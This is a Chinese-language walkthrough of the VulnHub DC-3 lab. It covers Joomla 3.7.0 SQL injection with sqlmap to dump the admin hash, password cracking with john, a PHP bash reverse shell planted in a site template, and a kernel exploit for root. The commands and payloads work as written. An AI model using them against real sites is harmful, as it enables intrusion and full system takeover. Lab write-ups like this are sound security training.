您的位置:首页 > 编程语言 > PHP开发

VulnHub通关日记-DC_3-Walkthrough

2020-02-27 15:44 190 查看

钉钉、微博极速扩容黑科技,点击观看阿里云弹性计算年度发布会!>>>

VulnHub通关日记1:VulnHub通关日记-DC_1-Walkthrough

VulnHub通关日记2:VulnHub通关日记-DC_2-Walkthrough


靶机简介

大家好,我是 saulGoodman,这篇文章是DC系列第三篇Walkthrough,总共有8篇,敬请期待!下载地址:https://www.vulnhub.com/entry/dc-3,312/ 这次靶机只有一个 Flag,也就是在 /root 目录下的!所以我们要提升为 root 权限!

信息搜集

拿到靶机后的第一件事就是对它进行端口扫描:

nmap -A -p- -T4 192.168.1.103

 


 

这边用 NMAP 扫描出来后发现它只开放了一个 80 端口,而且使用的 CMS 是 Joomla,这个 CMS 我之前完红日靶场遇到过一次。

既然 CMS 是 Joomla 那么就使用它的扫描工具对它一顿梭哈吧:

perl joomscan.pl -u http://192.168.1.103

 

 


扫描出来后我们得到了两个关键信息,也就是它的版本和它的网站后台地址:

版本:Joomla 3.7.0后台地址 : http://192.168.1.103/administrator/

先访问它的首页发现了一段提示信息:

Welcome to DC-3.

This time, there is only one flag, one entry point and no clues.To get the flag, you'll obviously have to gain root privileges.How you get to be root is up to you - and, obviously, the system.Good luck - and I hope you enjoy this little challenge.  :-)

 


 

大概的意思就是说这个靶场只有一个Flag,要让我们取得 root 权限!

Joomla SQL 注入

既然是这样那么我首先是搜索了有关于 Joomla 3.7.0 的漏洞信息,看看能不能捡个漏

searchsploit Joomla 3.7.0

 

 


由上图可见,它这个版本有一个 SQL 注入!既然有注入那么就丢到 Sqlmap 一把梭:

sqlmap -u "http://192.168.1.103/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

 


 

这边是注入出来了五个数据库,但是 Joomla CMS 默认的数据库为 joomladb,所以我们就直接跑这个数据库下的表把:

sqlmap -u "http://192.168.1.103/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

[01:08:45] [INFO] fetching tables for database: 'joomladb'[01:08:45] [INFO] used SQL query returns 91 entriesDatabase: joomladb[76 tables]

+---------------------+

| #__assets           |

| #__associations     |

| #__banner_clients   |

| #__banner_tracks    |

| #__banners          |

| #__bsms_admin       |

| #__bsms_books       |

| #__bsms_comments    |

| #__bsms_locations   |

| #__bsms_mediafiles  |

| #__bsms_message_typ |

| #__bsms_podcast     |

| #__bsms_series      |

| #__bsms_servers     |

| #__bsms_studies     |

| #__bsms_studytopics |

| #__bsms_teachers    |

| #__bsms_templatecod |

| #__bsms_templates   |

| #__bsms_timeset     |

| #__bsms_topics      |

| #__bsms_update      |

| #__categories       |

| #__contact_details  |

| #__content_frontpag |

| #__content_rating   |

| #__content_types    |

| #__content          |

| #__contentitem_tag_ |

| #__core_log_searche |

| #__extensions       |

| #__fields_categorie |

| #__fields_groups    |

| #__fields_values    |

| #__fields           |

| #__finder_filters   |

| #__finder_links_ter |

| #__finder_links     |

| #__finder_taxonomy_ |

| #__finder_taxonomy  |

| #__finder_terms_com |

| #__finder_terms     |

| #__finder_tokens_ag |

| #__finder_tokens    |

| #__finder_types     |

| #__jbsbackup_timese |

| #__jbspodcast_times |

| #__languages        |

| #__menu_types       |

| #__menu             |

| #__messages_cfg     |

| #__messages         |

| #__modules_menu     |

| #__modules          |

| #__newsfeeds        |

| #__overrider        |

| #__postinstall_mess |

| #__redirect_links   |

| #__schemas          |

| #__session          |

| #__tags             |

| #__template_styles  |

| #__ucm_base         |

| #__ucm_content      |

| #__ucm_history      |

| #__update_sites_ext |

| #__update_sites     |

| #__updates          |

| #__user_keys        |

| #__user_notes       |

| #__user_profiles    |

| #__user_usergroup_m |

| #__usergroups       |

| #__users            |

| #__utf8_conversion  |

| #__viewlevels       |

+---------------------+

跑出来的表有 91 条!但是我们只需要它后台管理员的用户那个表就好,接着我找到了一个为#__users的表,随后我开始注入它的列:

sqlmap -u "http://192.168.1.103/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" --columns

Database: joomladbTable: #__users[6 columns]+----------+-------------+| Column   | Type        |+----------+-------------+| email ff9    | non-numeric || id       | numeric     || name     | non-numeric || params   | non-numeric || password | non-numeric || username | non-numeric |+----------+-------------+

最后注入出它的 username 和 password 列的数据:

sqlmap -u "http://192.168.1.103/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" -C username,password --dump

 


注入出来后得到了账号和一段加密的h 1ff8 ash:

+----------+--------------------------------------------------------+

|username|password                                                   |

+----------+--------------------------------------------------------+

|admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu|

+----------+--------------------------------------------------------+

一般来说这种加密需要用字典来撞,运气好就能得到它的明文!我是使用 KALI 自带的 john 来破解它的 hash:

 


 

因为我之前使用 john 破解过 pass 的 hash了,john 只会对同一个文件破解一次,所以我直接查看了上一次的爆破结果密码为:snoopy!


Joomla Getshell

拿到密码后我登陆到了网站到后台:

http://192.168.1.103/administrator/index.php

 


 

登陆到后台我来到了网站到模版处,添加了一个新的php页面,里面的代码是我们的反弹shell的代码:

<?phpsystem("bash -c 'bash -i >& /dev/tcp/192.168.1.128/4444 0>&1' ");?> 


 


 

这个时候 KALI 用 nc 监听 4444,我们访问 saul.php 这个文件成功得到一枚shell:

192.168.1.103/templates/beez3/saul.php

 


 

2000

权限提升

拿到shell只后我查看了一下内核版本发现系统是16年的 Ubuntu:

uname -a

 

 


紧接着我搜索有关于这个版本的漏洞发现了一个提权漏洞:

 


 

这是它的下载地址:

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

我把 exp 下载到本地只后,我 KALI 先是用 python 开启了一个简单的服务器用于靶机下载我们的 exp:

python -m SimpleHTTPServer 8888

 

 


随后靶机用 wget 把我们的 exp 下载到靶机上:

 

 


紧接着解压文件后,运行 doubleput 提权为 root:

 


 

最后也是在 root 目录下拿到了 Flag!


本文分享自微信公众号 - Gcow安全团队(Gcow666)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  php joomla sqlmap